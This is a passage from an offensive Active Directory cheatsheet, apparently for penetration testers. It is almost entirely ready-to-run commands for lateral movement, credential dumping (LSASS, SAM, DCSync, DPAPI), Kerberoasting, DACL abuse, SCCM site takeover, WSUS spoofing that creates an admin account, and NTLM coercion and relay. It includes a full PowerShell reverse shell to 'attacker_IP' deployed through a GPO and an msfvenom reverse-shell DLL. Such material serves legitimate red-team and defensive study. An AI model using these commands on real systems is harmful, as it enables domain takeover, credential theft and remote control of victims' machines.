# All collection excepted LoggedOn bloodhound-python -u user1 -p password -d domain.local -c all -dc DC.domain.local --zip #With LoggedOn bloodhound-python -u user1 -p password -d domain.local -c all,LoggedOn -dc DC.domain.local --zip #Only collect from the DC, doesn't query the computers (more stealthy) bloodhound-python -u user1 -p password -d domain.local -c DCOnly -dc DC.domain.local --zip ``` ### Specify another Global Catalog ```bash bloodhound-python -u user1 -p password -d domain.local -dc DC.domain.local -gc --zip ``` ### Interesting Neo4j queries #### Users with SPNs ```sql MATCH (u:User {hasspn:true}) RETURN u ``` #### AS-REP Roastable users ```sql MATCH (u:User {dontrepreauth:true}) RETURN u ``` #### Computers AllowedToDelegate to other computers ```sql MATCH (c:Computer), (t:Computer), p=((c)-[:AllowedToDelegate]->(t)) return p ``` #### Shortest path from Kerberoastable user ```sql MATCH (u:User {hasspn:true}), (c:Computer), p=shortestPath((u)-[*1..]->(c)) RETURN p ``` #### Computers in Unconstrained Delegations ```sql MATCH (c:Computer {unconsraineddelegation:true}) RETURN c ``` #### Rights against GPOs ```sql MATCH (gr:Group), (gp:GPO), p=((gr)-[:GenericWrite]->(gp)) return p ``` #### Potential SQL Admins ```sql MATCH p=(u:User)-[:SQLAdmin]->(c:Computer) return p ``` #### LAPS Machine with LAPS enabled ```sql MATCH (c:Computer {haslaps:true}) RETURN c ``` Users with read LAPS rights against "LAPS machines" ```sql MATCH p=(g:Group)-[:ReaLAPSPassword]->(c:Computer) return p ``` ### SOAPHound A tool to gather LDAP information through the ADWS service with SOAP queries instead of the LDAP one. Data can be displayed in BloodHound. This tool is presented in the Active Directory cheatsheet. ### AD Miner [AD Miner](https://github.com/Mazars-Tech/AD\_Miner) is another solution to display BloodHound data into a web based GUI. It is usefull for its **Smartest paths** feature that permits to display the, sometimes longer, but simpler compromission path (for example, when the shortest path implies a `ExecuteDCOM` edge). ## Lateral Movement ### WinRM ```bash evil-winrm -u user1 -p password -i ``` **evil-winrm** permits to open an interactive WinRM session where it is possible to `upload` and `download` items between the target and the attacker machine, load PowerShell scripts, etc. ### SMB #### From one computer to another one ```bash psexec.py domain.local/user1:password@ ``` #### From one computer to many ones ```bash nxc smb -u user1 -p password -X ``` #### Execute immediat scheduled task ```bash #As the session 0 (SYSTEM) atexec.py domain.local/user1:password@ #As the user of another session on the machine atexec.py -session-id domain.local/user1:password@ ``` ### WMI ```bash wmiexec.py domain.local/user1:password@ ``` ### ShellBrowserWindow DCOM object ```bash dcomexec.py domain.local/user1:password@ ``` ### Credentials gathering #### Check RunAsPPL Check if RunAsPPL is enabled in the registry. ```bash nxc smb -u user1 -p password -M runasppl ``` #### Dump creds remotely ```bash #Dump SAM database on a machine nxc smb -u user1 -p password --sam #Dump LSA secrets on a machine nxc smb -u user1 -p password --lsa #Dump through remote registry reg.py -o \\\share domain.local/user1:password@ backup reg.py domain.local/user1:password@ query -keyName 'HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\WinLogon' #Dump the lsass process and parse it nxc smb -u user1 -p password -M lsassy nxc smb -u user1 -p password -M nanodump nxc smb -u user1 -p password -M mimikatz nxc smb -u user1 -p password -M procdump lsassy -u user1 -p password -d domain.local minidump domain.local/user1:password@dc.domain.local:/C$/Windows/Temp/lsass.dmp #Retrieve Chrome passwords nxc smb -u user1 -p password -M enum_chrome #Make a DCSync attack on all the users (NT hashes, Kerberos AES key, etc) secretsdump.py domain.local/user1:password@ nxc smb -u user1 -p password --ntds #DCSync only the NT && LM hashes of a user secretsdump.py -just-dc-user 'krbtgt' -just-dc-ntlm domain.local/user1:password@ #Retrieve NT hashes via Key List Attack on a RODC #Attempt to dump all the users' hashes even the ones in the Denied list #Low privileged credentials are needed in the command for the SAMR enumeration keylistattack.py -rodcNo -rodcKey -full domain.local/user1:password@RODC-server #Attempt to dump a specific user's hash keylistattack.py -rodcNo -rodcKey -t user1 -kdc RODC-server.domain.local LIST #Certsync - retrieve the NT hashes of all the users with PKINIT #Backup the private key and the certificate of the Root CA, and forge Golden Certificates for all the users #Authenticate with all the certificate via PKINIT to obtain the TGTs and extract the hashes with UnPAC-The-Hash certsync -u administrator -p 'password' -d domain.local -dc-ip #Provide the CA .pfx if it has been obtained with another way certsync -u administrator -p 'password' -d domain.local -dc-ip -ca-pfx CA.pfx ``` Many techniques to dump LSASS : [https://redteamrecipe.com/50-Methods-For-Dump-LSASS/](https://redteamrecipe.com/50-Methods-For-Dump-LSASS/) #### Extract creds locally The **SYSTEM** hive is needed to retrieve the bootkey and decipher the DB files. ```bash #Extract creds from SAM and SECURITY (LSA cached secrets) secretsdump.py -system ./system.save -sam ./sam.save -security ./security.save LOCAL #Extract creds from NTDS.dit secretsdump.py -system ./system.save -ntds ./NTDS.save LOCAL ``` Read an LSASS dump with pypykatz: ```bash pypykatz lsa --json minidump $i | jq 'first(.[]).logon_sessions | keys[] as $k | (.[$k] | .credman_creds)' | grep -v "\[\]" | grep -v "^\[" | grep -v "^\]" ``` #### Credentials Vault & DPAPI Decipher Vault with Master Key ```bash dpapi.py vault -vcrd -vpol -key ``` Dump all secrets on a remote machine ```bash DonPAPI.py domain.local/user1:password@ ``` Extract the domain backup key with a Domain Admin ```bash dpapi.py backupkeys --export -t domain.local/user1:password@ ``` Dump all user secrets with the backup key ```bash DonPAPI.py -pvk domain_backupkey.pvk domain.local/user1:password@ ``` #### GPPPassword & GPP Autologin Find and decrypt Group Policy Preferences passwords. ```bash Get-GPPPassword.py domain.local/user1:password@ #Specific share Get-GPPPassword.py -share domain.local/user1:password@ #GPP autologin nxc smb -u user1 -p password -M gpp_autologin ``` #### Credentials in third-party softwares Many applications present on a computer can store credentials, like KeePass, KeePassXC, mstsc and so on. ```bash python3 client/ThievingFox.py poison --all domain.local/user1:password@ python3 client/ThievingFox.py collect --all domain.local/user1:password@ python3 client/ThievingFox.py cleanup --all domain.local/user1:password@ ``` ### Pass the Challenge This technique permits to retrieve the NT hashes from a LSASS dump when Credential Guard is in place. This[ modified version of Pypykatz](https://github.com/ly4k/Pypykatz) must be used to parse the LDAP dump. Full explains [here](https://research.ifcr.dk/pass-the-challenge-defeating-windows-defender-credential-guard-31a892eee22). This attack is presented in the Active Directory cheatsheet. ### Token manipulation #### Token impersonation with command execution and user addition [Blog here](https://sensepost.com/blog/2022/abusing-windows-tokens-to-compromise-active-directory-without-touching-lsass/). * List available tokens, and find an interesting token ID ```bash nxc smb -u user1 -p password -M impersonate -o MODULE=list ``` * With only **SeImpersonatePrivilege**, if a privileged user's token is present on the machine, it is possible to run code on the domain as him and add a new user in the domain (and add him to the Domain Admins by default): ```bash nxc smb -u user1 -p password -M impersonate -o MODULE=adduser TOKEN= CMD="user2 password 'Domain Admins' \\dc.domain.local" ``` * With **SeImpersonatePrivilege and SeAssignPrimaryToken**, if a privileged user's token is present on the machine, it is possible to execute comands on the machine as him: ```bash nxc smb -u user1 -p password -M impersonate -o MODULE=exec TOKEN= CMD= ``` Look at the Active Directory cheatsheet for other solutions. #### Tokens and ADCS With administrative access to a (or multiple) computer, it is possible to retrieve the different process tokens, impersonate them and request CSRs and PEM certificate for the impersonated users. ```bash masky -d domain.local -u user1 -p -dc-ip -ca -o ``` ### Pass The Hash Globally, all the **Impacket** tools and the ones that use the library can authenticate via Pass The Hash with the `-hashes` command line parameter instead of specifying the password. For **ldeep**, **NetExec** and **evil-winrm**, it's `-H`. ### Over Pass The Hash / Pass The Key Globally, all the **Impacket** tools and the ones that use the library can authenticate via Pass The Key with the `-aesKey` command line parameter instead of specifying the password. For **NetExec** it's `--aesKey`. ### Kerberos authentication #### Request a TGT or a ST ```bash getTGT.py -dc-ip domain.local/user1:password getST.py -spn "cifs/target.domain.local" -dc-ip domain.local/user1:password ``` #### Use the tickets Load a kerberos ticket in `.ccache` format : `export KRB5CCNAME=./ticket.ccache` Globally, all the **Impacket** tools and the ones that use the library can authenticate via Kerberos with the `-k -no-pass` command line parameter instead of specifying the password. For **ldeep** it's `-k`. For **NetExec** it is `-k` with credentials to perform the whole Kerberos process and authenticate with the ticket. If a `.ccache` ticket is already in memory, it is `-k --use-kcache`. For **evil-winrm** it's `-r --spn ` (default 'HTTP'). The realm must be specified in the file `/etc/krb5.conf` using this format -> `CONTOSO.COM = { kdc = fooserver.contoso.com }` If the Kerberos ticket is in `.kirbi` format it can be converted like this: ```bash ticketConverter.py ticket.kirbi ticket.ccache ``` ### ADIDNS poisoning How to deal with the **Active Directory Integrated DNS** and redirect the NTLM authentications to us * By default, any user can create new ADIDNS records * But it is not possible to change or delete a record we are not owning * By default, the DNS will be used first for name resolution in the AD, and then NBT-NS, LLMNR, etc If the **wilcard record** (\*) doesn't exist, we can create it and all the authentications will arrive on our listener, except if the WPAD configuration specifically blocks it. #### Wildcard attack The char `*` can't be added via DNS protocol because it will break the request. Since we are in an AD we can modify the DNS via LDAP: ```bash # Check if the '*' record exist python3 dnstool.py -u "domain.local\user1" -p "password" -a query -r "*" # creates a wildcard record python3 dnstool.py -u "domain.local\user1" -p "password" -a add -r "*" -d # disable a node python3 dnstool.py -u "domain.local\user1" -p "password" -a remove -r "*" # remove a node python3 dnstool.py -u "domain.local\user1" -p "password" -a ldapdelete -r "*" ``` ### Feature abuse #### SCCM / MECM Most of the SCCM attacks must be performed from a Windows machine with SharpSCCM.exe. I recommend you to read the [Active Directory cheatsheet](https://hideandsec.sh/books/cheatsheets-82c/page/active-directory#bkmrk-sccm-%2F-mecm). ##### Recon * Retrieve the PXE boot media ```bash python3 pxethiefy.py explore -i eth0 ``` * Identify the SCCM servers and the potential SCCM admins ```bash #Find the assets in the LDAP configuration python3 sccmhunter.py find -u user1 -p password -d domain.local -dc-ip #Retrieve informations regarding the identified servers (SMB signing, site code, server type, etc) #And save PXE variables python3 sccmhunter.py smb -u user1 -p password -d domain.local -dc-ip -save #Show results from the previous commands python3 sccmhunter.py show -smb python3 sccmhunter.py show -user python3 sccmhunter.py show -computers python3 sccmhunter.py show -all ``` ##### SCCM credentials extraction with DPAPI It is possible to retrieve the **Network Access Accounts (NAA)** in the NAA policy which it's sent by the SCCM server and stored on the SCCM client disk encrypted with DPAPI. With SYSTEM access on the client, the credentials can be retrieved: ```bash SystemDPAPIdump.py -creds -sccm 'domain.local/user1:password'@'target.domain.local' ``` ##### Network Access Account de-obfuscation A computer account has the ability to register itself with the SCCM server and request the encrypted NAA policies, decrypt them, de-obfuscate them and retrieve the NAA's credentials in them. A controlled computer account is needed to send the authenticated request, but the account to spoof doesn't need to be the same. Full explains [here](https://blog.xpnsec.com/unobfuscating-network-access-accounts/). **WARNING** : the author does not recommanded to use the tool in prod. ```bash sccmwtf.py "fakepc" "fakepc.domain.local" '' 'domain\ControlledComputer$' 'Password123!' ``` Then decrypt the retrieved hexadecimal blobs: ```powershell .\policysecretunobfuscate.exe .\policysecretunobfuscate.exe ``` In another hand, **sccmhunter** can be used: ```bash #Create a computer account and request the policies python3 sccmhunter.py http -u user1 -p password -d domain.local -dc-ip -auto #To use an already controlled computer account python3 sccmhunter.py http -u user1 -p password -d domain.local -cn -p -dc-ip ``` ##### SCCM primary site takeover The primary site server's computer account **is member of the local Administrators group on the site database server** and **on every site server hosting the "SMS Provider" role in the hierarchy**. This means it is possible to coerce the primary site server authentication and relay it to the database server and obtain an administrative access. [Some requirements](https://www.thehacker.recipes/ad/movement/sccm-mecm#sccm-site-takeover) must be reached to exploit this scenario. Full explains [here](https://posts.specterops.io/sccm-site-takeover-via-automatic-client-push-installation-f567ec80d5b1) and [here](https://posts.specterops.io/site-takeover-via-sccms-adminservice-api-d932e22b2bf). * Relay to the site database server Retrieve the controlled user SID: ```python rpcclient -c "lookupnames USER" $TARGET_IP # And convert it in HEX format from impacket.ldap import ldaptypes sid=ldaptypes.LDAP_SID() sid.fromCanonical('sid_value') print('0x' + ''.join('{:02X}'.format(b) for b in sid.getData())) ``` Setup a NTLM relay server to MSSQL or SMB: ```bash # targetting MS-SQL ntlmrelayx.py -t "mssql://siteDatabase.domain.local" -smb2support -socks # targeting SMB ntlmrelayx.py -t "smb://siteDatabase.domain.local" -smb2support -socks ``` Coerce the primary site server authentication via PetitPotam, PrinterBug ou whatever. With a MSSQL socks open, an `mssqlclient` session can be obtained: ```bash proxychains mssqlclient.py "DOMAIN/SCCM-Server$"@"siteDatabase.domain.local" -windows-auth ``` And the following SQL query can be executed to grant full privileges to the controlled user on the SCCM primary site: ```sql --Switch to site database use CM_ --Add the SID, the name of the current user, and the site code to the RBAC_Admins table INSERT INTO RBAC_Admins (AdminSID,LogonName,IsGroup,IsDeleted,CreatedBy,CreatedDate,ModifiedBy,ModifiedDate,SourceSite) VALUES (,'DOMAIN\user',0,0,'','','','',''); --Retrieve the AdminID of the added user SELECT AdminID,LogonName FROM RBAC_Admins; --Add records to the RBAC_ExtendedPermissions table granting the AdminID the Full Administrator (SMS0001R) RoleID for the “All Objects” scope (SMS00ALL), --the “All Systems” scope (SMS00001), --and the “All Users and User Groups” scope (SMS00004) INSERT INTO RBAC_ExtendedPermissions (AdminID,RoleID,ScopeID,ScopeTypeID) VALUES (,'SMS0001R','SMS00ALL','29'); INSERT INTO RBAC_ExtendedPermissions (AdminID,RoleID,ScopeID,ScopeTypeID) VALUES (,'SMS0001R','SMS00001','1'); INSERT INTO RBAC_ExtendedPermissions (AdminID,RoleID,ScopeID,ScopeTypeID) VALUES (,'SMS0001R','SMS00004','1'); ``` Post exploitation via SCCM can now be performed on the network. * Relay to the SMS Provider server If the HTTP API is accessible on the SMS Provider server, setup `ntlmrelayx` with [this PR](https://github.com/fortra/impacket/pull/1593) to add user1 as a new SCCM admin: ```bash ntlmrelayx.py -t https://smsprovider.domain.local/AdminService/wmi/SMS_Admin -smb2support --adminservice --logonname "DOMAIN\user1" --displayname "DOMAIN\user1" --objectsid ``` And coerce the primary site server via PetitPotam, PrinterBug ou whatever. * Relay from a passive to the active site server When high availability in required, it is possible to find a [passive site server](https://learn.microsoft.com/en-us/mem/configmgr/core/servers/deploy/configure/site-server-high-availability) that will be used only if the active site server stop working. Its machine account **must** be a member of the local Administrators group on the active site server. Setup a NTLM relay pointing to the active server and coerce an authentication from the passive server. ```bash ntlmrelayx.py -t activeServer.domain.local -smb2support -socks ``` Then, through the proxy socks session, dump the SAM and LSA with secretsdump.The active site server must be a member of the SMS Provider administrators (it is member of the `SMS Admins` group), its credentials can be used to add a new controlled user to the `Full Admin` SCCM group. ```bash python3 sccmhunter.py admin -u activeServer$ -p : -ip () (C:\) >> add_admin controlledUser () (C:\) >> show_admins ``` ##### AdminService lateral movement The **CMPivot** service, presents on the MP server, permits to enumerate all the resources (installed softwares, local administrators, hardware specification, and so on) of a computer, or a computer collection, and perform administrative tasks on them. It uses a HTTP REST API, named **AdminService**, provided by the SMS Provider server which. With SCCM administrative rights, it is possible to directly interact with the **AdminService** API, without using CMPivot, for post SCCM exploitation purpose. ```bash python3 sccmhunter.py admin -u "domain\user1" -p password -ip ``` Then, the `help` command can be typed in the opened shell to view all the CMPivot commands handled by sccmhunter. ```bash () C:\ >> help Documented commands (use 'help -v' for verbose/'help ' for details): Database Commands ================= get_collection get_device get_lastlogon get_puser get_user Interface Commands ================== exit interact PostEx Commands =============== add_admin backdoor backup delete_admin restore script Situational Awareness Commands ============================== administrators console_users ipconfig osinfo sessions cat disk list_disk ps shares cd environment ls services software ``` #### WSUS [Spoof the WSUS server and hijack the update](https://www.thehacker.recipes/ad/movement/mitm-and-coerced-authentications/wsus-spoofing) if the updates are pushed through HTTP and not HTTPS ```bash #Find the WSUS server with the REG key reg.py -dc-ip 'domain.local'/'user1':'password'@server.domain.local query -keyName 'HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate /v wuserver' #Setup the fake WSUS server python3.exe pywsus.py --host --port 8530 --executable ./PsExec64.exe --command '/accepteula /s cmd.exe /c "net user usser1 Password123! /add && net localgroup Administrators user1 /add"' ``` And ARP spoofing with bettercap and a `wsus_spoofing.cap` like this: ```go # quick recon of the network net.probe on # set the ARP spoofing set arp.spoof.targets $client_ip set arp.spoof.internal false set arp.spoof.fullduplex false # reroute traffic aimed at the WSUS server set any.proxy.iface $interface set any.proxy.protocol TCP set any.proxy.src_address $WSUS_server_ip set any.proxy.src_port 8530 set any.proxy.dst_address $attacker_ip set any.proxy.dst_port 8530 # control logging and verbosity events.ignore endpoint events.ignore net.sniff # start the modules any.proxy on arp.spoof on net.sniff on ``` ```bash bettercap --iface --caplet wsus_spoofing.cap ``` Now wait for update verification or manually trigger with a GUI access on the machine. #### PXE Boot **PowerPXE** is a PowerShell script that extracts interesting data from insecure PXE boot. It is presented in the Active Directory cheatsheet. **pxethiefy.py** identifies a PXE boot media, extracts it and provides a crackable hash if it is encrypted, and displays next steps with SharpSCCM to retrieve sensitive information. ```bash python3 pxethiefy.py explore -i eth0 python3 pxethiefy.py decrypt -p "password" -f file.boot.var ``` #### Pre-Windows 2000 Computers Everything is explained [here](https://www.thehacker.recipes/ad/movement/domain-settings/pre-windows-2000-computers). ## Domain Privesc ### Kerberoast The Kerberos service ticket (ST) has a server portion which is encrypted with the password hash of service account. This makes it possible to request a ticket and do offline password attack. Password hashes of service accounts could be used to create Silver Tickets. #### Find user with SPN ```bash GetUserSPNs.py -dc-ip domain.local/user1:password #In another domain through trust GetUserSPNs.py -dc-ip -target-domain domain.local/user1:password ``` #### Request in JtR/Hashcat format ```bash GetUserSPNs.py -dc-ip -request -outputfile hash.txt domain.local/user1:password ``` Force RC4 downgrade even on AES enabled targets to obtain tickets more easy to crack: ```bash pypykatz kerberos spnroast -d domain.local -t -e 23 'kerberos+password://domain.local\user1:password@' ``` #### Crack the hash ```bash john hash.txt --wordlist=./rockyou.txt hashcat -m 13100 -a 0 hash.txt rockyou.txt ``` ### Kerberoast with DES This attack is presented in the Active Directory cheatsheet. ### Kerberoast w/o creds #### Without pre-authentication If a principal can authent without pre-authentication (like AS-REP Roasting), it is possible to use it to launch an **AS-REQ request** (for a TGT) and trick the request to ask for a ST instead for a kerberoastable principal, by modifying the **sname** attribut in the **req-body** part of the request. Full explains [here](https://www.semperis.com/blog/new-attack-paths-as-requested-sts/). [This PR](https://github.com/SecureAuthCorp/impacket/pull/1413) must be used for the moment. ```bash GetUserSPNs.py -no-preauth -usersfile "users.txt" -dc-host "domain.local"/ ``` #### With MitM If no principal without pre-authentication are present, it is still possible to intercept the **AS-REQ requests** on the wire (with ARP spoofing for example), and replay them to kerberoast. ```bash ritm -i -t -g -u users.txt ``` ### AS-REP Roasting * If a user's **UserAccountControl** settings have "Do not require Kerberos preauthentication" enabled (`UF_DONT_REQUIRE_PREAUTH`) -> Kerberos preauth is disabled -> it is possible to grab user's crackable AS-REP and brute-force it offline. * With sufficient rights (**GenericWrite** or **GenericAll**), Kerberos preauth can be disabled. #### Enumerate users ```bash GetNPUsers.py -dc-ip domain.local/user1:password ``` #### Request AS-REP ```bash GetNPUsers.py -dc-ip -request -format john domain.local/user1:password ``` It is possible to force DES, if it is allowed. Look at the Active Directory cheatsheet. #### Crack the hash With **john** or **hashcat** it could be performed ### DACLs attacks #### ACLs packages * **Owns object** * WriteDacl * **GenericAll** * GenericWrite * AllExtendedRights * WriteOwner * **GenericWrite** * Self * WriteProperty * **AllExtendedRights** * User-Force-Change-Password * DS-Replication-Get-Changes * DS-Replication-Get-Changes-All * DS-Replication-Get-Changes-In-Filtered-Set #### On any objects ##### WriteOwner With this rights on a user it is possible to become the "owner" (**Grant Ownership**) of the account and then change our ACLs against it ```bash owneredit.py -new-owner user1 -target user2 -dc-ip -action write 'domain.local'/'user1':'password' dacledit.py -action write -target user2 -principal user1 -rights ResetPassword -ace-type allowed -dc-ip 'domain.local'/'user1':'password' #And change the password net rpc password user2 -U 'domain.local'/'user1'%'password' -S DC.domain.local ``` ##### WriteDacl With this rights we can modify our ACLs against the target, and give us **GenericAll** for example ```bash dacledit.py -action write -target user2 -principal user1 -rights FullControl -ace-type allowed -dc-ip 'domain.local'/'user1':'password' ``` In case where you have the right against a container or an OU, it is possible to setup the **Inheritance** flag in the ACE. The child objects will inherite the parent container/OU ACE (except if the object has `AdminCount=1`) ```bash dacledit.py -inheritance -action write -target 'CN=Users,DC=domain,DC=local' -principal user1 -rights FullControl -ace-type allowed -dc-ip 'domain.local'/'user1':'password' ``` #### On an user ##### WriteProperty * ShadowCredentials ```bash pywhisker.py -t user2 -a add -u user1 -p password -d domain.local -dc-ip --filename user2 ``` * Targeted Kerberoasting We can then request a ST without special privileges. The ST can then be "**Kerberoasted**". ```bash GetUserSPNs.py -request-user user2 -dc-ip domain.local/user1:password ``` **New SPN must be unique in the domain** ```bash #Set SPN on all the possible users, request the ticket and delete the SPN targetedKerberoast.py -u user1 -p password -d domain.local --only-abuse ``` ##### User-Force-Change-Password With enough permissions on a user, we can change his password ```bash net rpc password user2 -U 'domain.local'/'user1'%'password' -S DC.domain.local ``` #### On a computer ##### WriteProperty * ShadowCredentials ```bash pywhisker.py -t computer$ -a add -u user1 -p password -d domain.local -dc-ip --filename user2 ``` * Kerberos RBCD ##### AllExtendedRights * ReadLAPSPassword ```bash nxc ldap -u user1 -p password -M laps -o computer="" ``` * ReadGMSAPassword ```bash ldeep ldap -u user1 -p password -d domain.local -s gmsa ``` #### On a RODC ##### GenericWrite * Obtain local admin access Change the `managedBy` attribute value and add a controlled user. He will automatically gain admin rights. * Retrieve Tiers 0 account's NT hashes It is possible to modify the `msDS-NeverRevealGroup` and `msDS-RevealOnDemandGroup` lists on the RODC to allow Tiers 0 accounts to authenticate, and then forge RODC Golden Tickets for them to access other parts of the AD. ```bash powerview domain.local/user1:Password123@RODC-server.domain.local #First, add a domain admin account to the msDS-RevealOnDemandGroup attribute #Then, append the Allowed RODC Password Replication Group group PV > Set-DomainObject -Identity RODC-server$ -Set msDS-RevealOnDemandGroup='CN=Administrator,CN=Users,DC=domain,DC=local' PV > Set-DomainObject -Identity RODC-server$ -Append msDS-RevealOnDemandGroup='CN=Allowed RODC Password Replication Group,CN=Users,DC=domain,DC=local' #If needed, remove the admin from the msDS-NeverRevealGroup attribute PV > Set-DomainObject -Identity RODC-server$ -Clear msDS-NeverRevealGroup ``` ##### WriteProperty **WriteProperty** on the `msDS-NeverRevealGroup` and `msDS-RevealOnDemandGroup` lists is sufficient to modify them. Obtain the `krbtgt_XXXXX` key is still needed to forge RODC Golden Ticket. ```bash powerview domain.local/user1:Password123@RODC-server.domain.local #First, add a domain admin account to the msDS-RevealOnDemandGroup attribute #Then, append the Allowed RODC Password Replication Group group PV > Set-DomainObject -Identity RODC-server$ -Set msDS-RevealOnDemandGroup='CN=Administrator,CN=Users,DC=domain,DC=local' PV > Set-DomainObject -Identity RODC-server$ -Append msDS-RevealOnDemandGroup='CN=Allowed RODC Password Replication Group,CN=Users,DC=domain,DC=local' #If needed, remove the admin from the msDS-NeverRevealGroup attribute PV > Set-DomainObject -Identity RODC-server$ -Clear msDS-NeverRevealGroup ``` #### On a group ##### WriteProperty/AllExtendedRights/GenericWrite Self With one of this rights we can add a new member to the group ```bash net rpc group addmem user2 -U domain.local/user1%password -S ``` #### On GPO ##### WriteProperty on a GPO * We can update a GPO with a scheduled task for example to obtain a reverse shell ```bash ./pygpoabuse.py domain.local/user1 -hashes lm:nt -gpo-id "" -powershell -command "\$client = New-Object System.Net.Sockets.TCPClient('attacker_IP',1234);\$stream = \$client.GetStream();[byte[]]\$bytes = 0..65535|%{0};while((\$i = \$stream.Read(\$bytes, 0, \$bytes.Length)) -ne 0){;\$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString(\$bytes,0, \$i);\$sendback = (iex \$data 2>&1 | Out-String );\$sendback2 = \$sendback + 'PS ' + (pwd).Path + '> ';\$sendbyte = ([text.encoding]::ASCII).GetBytes(\$sendback2);\$stream.Write(\$sendbyte,0,\$sendbyte.Length);\$stream.Flush()};\$client.Close()" -taskname "The task" -description "Important task" -user ``` * Create a local admin ```bash ./pygpoabuse.py domain.local/user1 -hashes lm:nt -gpo-id "" ``` #### On the domain/forest ##### DS-Replication-Get-Changes + DS-Replication-Get-Changes-All We can **DCSync** ##### DS-Replication-Get-Changes + DS-Replication-Get-Changes-In-Filtered-Set It is possible to realize a **DirSync** attack, as presented [here](https://simondotsh.com/infosec/2022/07/11/dirsync.html). This attack is presented in the Active Directory cheatsheet. ### Account Operators The members of this group can add and modify all the non admin users and groups. Since **LAPS ADM** and **LAPS READ** are considered as non admin groups, it's possible to add an user to them, and read the LAPS admin password. They also can manage the **Server Operators** group members which can authenticate on the DC. #### Add user to LAPS groups ```bash net rpc group addmem 'LAPS ADM' user2 -U domain.local/user1%password -S net rpc group addmem 'LAPS READ' user2 -U domain.local/user1%password -S ``` #### Read LAPS password ```bash nxc ldap -u user2 -p password -M laps -o computer="" ``` ### DnsAdmins * It is possible for the members of the DNSAdmins group to load arbitrary DLL with the privileges of dns.exe (SYSTEM). * In case the DC also serves as DNS, this will provide us escalation to DA. * Need privileges to restart the DNS service. ```bash #Generate the DLL msfvenom -a x64 -p windows/x64/meterpreter/reverse_tcp LHOST= LPORT=1234 -f dll > rev.dll #On the DNS machine, modify the server conf nxc smb -u user1 -p password -X "dnscmd.exe /config /serverlevelplugindll \\\rev.dll" #### Restart DNS services.py 'domain.local'/'user1':'password'@ stop dns services.py 'domain.local'/'user1':'password'@ start dns ``` ### Schema Admins These group members can change the "_schema_" of the AD. It means they can change the ACLs on the objects that will be created **IN THE FUTUR**. If we modify the ALCs on the group object, only the futur group will be affected, not the ones that are already present. This attack is presented in the Active Directory cheatsheet. ### Backup Operators Can _generally_ log in on any machines of the domain. #### File system backup Can backup the **entire file system** of a machine (DC included) and have full read/write rights on the backup. To backup a folder content: ```bash nxc smb -u user1 -p password -X "robocopy /B C:\Users\Administrator\Desktop\ C:\tmp\tmp.txt /E" ``` To backup with **Diskshadow + Robocopy**: * Create a `script.txt` file to backup with Diskshadow and upload it on the target ``` set verbose onX set metadata C:\Windows\Temp\meta.cabX set context clientaccessibleX set context persistentX begin backupX add volume C: alias cdriveX createX expose %cdrive% E:X end backupX ``` * Backup with `diskshadow /s script.txt` in the `netexec` command parameter * Retrieve the backup with **robocopy** and send the NTDS file in the current folder : `robocopy /b E:\Windows\ntds . ntds.dit` (still with NXC) * Then retrieve the SYSTEM registry hive to decrypt and profit `reg save hklm\system c:\temp\system` (always) #### Registry read rights The **Backup Operators** can read all the machines registry ```bash reg.py -dc-ip 'domain.local'/'backup$':'Password123'@server.domain.local query -keyName 'HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\WinLogon' #Backup the SAM, SECURITY and SYSTEM registry keys reg.py -dc-ip 'domain.local'/'backup$':'Password123'@server.domain.local backup -o \\\share ``` #### GPOs read/write rights Normally the **Backup Operators** can read and rights all the domain and DC GPOs with **robocopy** in **backup** mode * Found the interesting GPO with `Get-NetGPO` . For example **Default Domain Policy** in the Domain Controller policy * Get the file at the path `\\dc.domain.local\SYSVOL\domain.local\Policies\{GPO_ID}\MACHINE\Microsoft\Windows NT\SecEdit\GptTmpl.inf` and add whatever you want in it * Write the file with **robocopy**: ```bash nxc smb -u user1 -p password -X 'robocopy "C:\tmp" "\\dc.domain.local\SYSVOL\domain.local\Policies\{GPO_ID}\MACHINE\Microsoft\Windows NT\SecEdit" GptTmpl.inf /ZB' ``` ### Key Admins Members of this group can perform [Shadow Credentials](https://hideandsec.sh/books/cheatsheets-82c/page/active-directory-python-edition#bkmrk-on-a-computer) attacks against any objects, including the domain controllers. ### AD Recycle Bin Members of this group can recover deleted objects from the Active Directory, just like in a recycle bin for files, when the feature is enabled. These objects can sometimes have interesting properties. This attacke is presented in the Active Directory cheatsheet. ## Authentication capture, coerce and relay ### Capture, coerce and leak Different ways to obtain and catch NTLM authentications and retrieve a NTLM response. #### Responder Change the authentication challenge to `1122334455667788` in the Responder conf file in order to obtain an easily crackable hash if **NTLMv1** is used. ```bash sed -i 's/ Random/ 1122334455667788/g' Responder/Responder.conf ``` Catch all the possible hashes on the network (coming via LLMNR, NBT-NS, DNS spoofing, etc): ```bash # Responder with WPAD injection, Proxy-Auth, DHCP, DHCP-DNS and verbose responder -I interface_to_use -wPdDv ``` Force NTLM downgrade to NTLMv1 (will break the authentications if v1 is disabled on the machine): ```bash # --disable-ess will disable the SSP, not always usefull responder -I interface_to_use -wdDv --lm --disable-ess ``` **NTLMv1** response can be cracked on [crash.sh](https://crack.sh/). #### Leak Files With write rights on a SMB share, it is possible to drop a `.lnk` or `.scf` file to grab some user hashes: ```bash nxc smb -u user1 -p password -M slinky -o SERVER= -o NAME= nxc smb -u user1 -p password -M scuffy -o SERVER= -o NAME= #To clean nxc smb -u user1 -p password -M slinky -o CLEANUP=True nxc smb -u user1 -p password -M scuffy -o CLEANUP=True ``` #### MITM6 Spoof DHCPv6 responses to provide evil DNS config. Usefull to combine with NTLM or Kerberos Relay attacks. Here for an NTLM relay: ```bash mitm6 -i interface_to_use -d domain.local -hw target.domain.local -v ``` Here for a Kerberos relay to ADCS: ```bash mitm6 -i interface_to_use -d domain.local -hw target.domain.local --relay CA.domain.local -v ``` #### PetitPotam / PrinterBug / ShadowCoerce / DFSCoerce / CheeseOunce Exploits to coerce Net-NTLM authentication from a computer. **PetitPotam** can be used without any credentials if no patch has been installed. ```bash #PetitPotam ./petitpotam.py -u user1 -p password -d domain.local -pipe all #PrinterBug ./dementor.py -u user1 -p password -d domain.local #ShadowCoerce ./shadowcoerce.py -u user1 -p password -d domain.local #DFSCoerce ./dfscoerce.py -u user1 -d domain.local #CheeseOunce via MS-EVEN ./cheese.py domain.local/user1:password@ ``` #### Multi coerce Try all the techniques above in one command with [this](https://github.com/p0dalirius/Coercer). ```bash coercer.py coerce -u user1 -p password -d domain.local -t -l -v ``` #### PrivExchange Coerce 